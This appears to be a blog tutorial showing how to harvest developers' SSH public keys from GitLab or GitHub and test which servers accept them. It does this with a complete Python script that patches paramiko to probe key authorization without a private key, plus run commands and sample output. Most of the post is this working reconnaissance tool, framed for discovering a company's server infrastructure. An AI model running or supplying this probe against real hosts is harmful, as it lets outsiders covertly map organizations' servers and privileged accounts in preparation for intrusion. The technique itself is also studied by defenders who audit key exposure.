This page looks best with JavaScript enabled

Leaking network infrastructure through ssh pubkey.

 ·  🎃 kr0m

If we use GitLab or GitHub, our ssh pubkeys along with our name will be exposed to the public. This can be curious, but the most interesting thing is that through the ssh pubkey we can know if the associated private key has access to a certain server or not. In this way, we can discover the server infrastructure used by a company by having only the pubkey of some sysadmin/programmer. The article I based this on is published on Artem Golubin’s website.

We can get a user’s pubkey by running a Curl against the GitLab server:

curl https://flatland.alfaexploit.com/root.keys
ssh-rsa XXXXXXXXXXXXXXXXXXXXXXXXXXXXX NAME (flatland.alfaexploit.com)

NOTE: This system is equally valid for GitLab and GitHub.

We install the necessary Python libraries:

pip install paramiko requests

We write the script:

vi checkPubKeySsh.py

#!/usr/bin/env python3
import logging
import socket
import sys

import paramiko.auth_handler
import requests
import argparse


def valid(self, msg):
    self.auth_event.set()
    self.authenticated = True
    print("Valid key")


def parse_service_accept(self, m):
    # https://tools.ietf.org/html/rfc4252#section-7
    service = m.get_text()
    if not (service == "ssh-userauth" and self.auth_method == "publickey"):
        return self._parse_service_accept(m)
    m = paramiko.message.Message()
    m.add_byte(paramiko.common.cMSG_USERAUTH_REQUEST)
    m.add_string(self.username)
    m.add_string("ssh-connection")
    m.add_string(self.auth_method)
    m.add_boolean(False)
    m.add_string(self.private_key.public_blob.key_type)
    m.add_string(self.private_key.public_blob.key_blob)
    self.transport._send_message(m)


def patch_paramiko():
    table = paramiko.auth_handler.AuthHandler._client_handler_table

    # In order to avoid using a private key, two callbacks must be patched.
    # The MSG_USERAUTH_INFO_REQUEST (SSH_MSG_USERAUTH_PK_OK 60) indicates a valid public key.
    table[paramiko.common.MSG_USERAUTH_INFO_REQUEST] = valid
    # The MSG_SERVICE_ACCEPT event triggers when server sends a request for auth.
    # By default, paramiko signs it with the private key. We don't want that.
    table[paramiko.common.MSG_SERVICE_ACCEPT] = parse_service_accept


def probe_host(hostname_or_ip, port, username, public_key):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((hostname_or_ip, port))
    transport = paramiko.transport.Transport(sock)
    transport.start_client()

    # For compatibility with paramiko, we need to generate a random private key and replace
    # the public key with our data.
    key = paramiko.RSAKey.generate(2048)
    key.public_blob = paramiko.pkey.PublicBlob.from_string(public_key)
    try:
        transport.auth_publickey(username, key)
    except paramiko.ssh_exception.AuthenticationException:
        print("Bad key")


def get_public_key(username):
    r = requests.get('https://flatland.alfaexploit.com/%s.keys' % username)
    return r.content.decode('utf-8')


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('host', type=str, help='Hostname or IP address')
    parser.add_argument('--gitlab-username', type=str, default=None)
    parser.add_argument('--ssh-username', type=str, default="root")
    parser.add_argument('--loglevel', default='INFO')
    parser.add_argument('--port', type=int, default=22)
    parser.add_argument('--public-key', type=str, default=None)

    args = parser.parse_args(sys.argv[1:])
    logging.basicConfig(level=args.loglevel)
    if args.gitlab_username:
        key = get_public_key(args.gitlab_username)
    elif args.public_key:
        key = open(args.public_key, 'rt').read()
    else:
        raise ValueError("Public key is missing. Please use --gitlab-username or --public-key")

    patch_paramiko()
    probe_host(
        hostname_or_ip=args.host,
        port=args.port,
        username=args.ssh_username,
        public_key=key
    )


if __name__ == '__main__':
    main()

We assign the necessary permissions:

chmod 700 checkPubKeySsh.py

We run the script:

./checkPubKeySsh.py –gitlab-username USER_NAME –ssh-username SSH_USER SERVER_IP

If the private key does not have access, it will present the following message:

INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_8.2p1)  
INFO:paramiko.transport:Authentication (publickey) failed.  
Bad key

On the other hand, if you have access to the following:

INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_5.9p1-hpn13v11)  
Valid key
If you liked the article, you can treat me to a RedBull here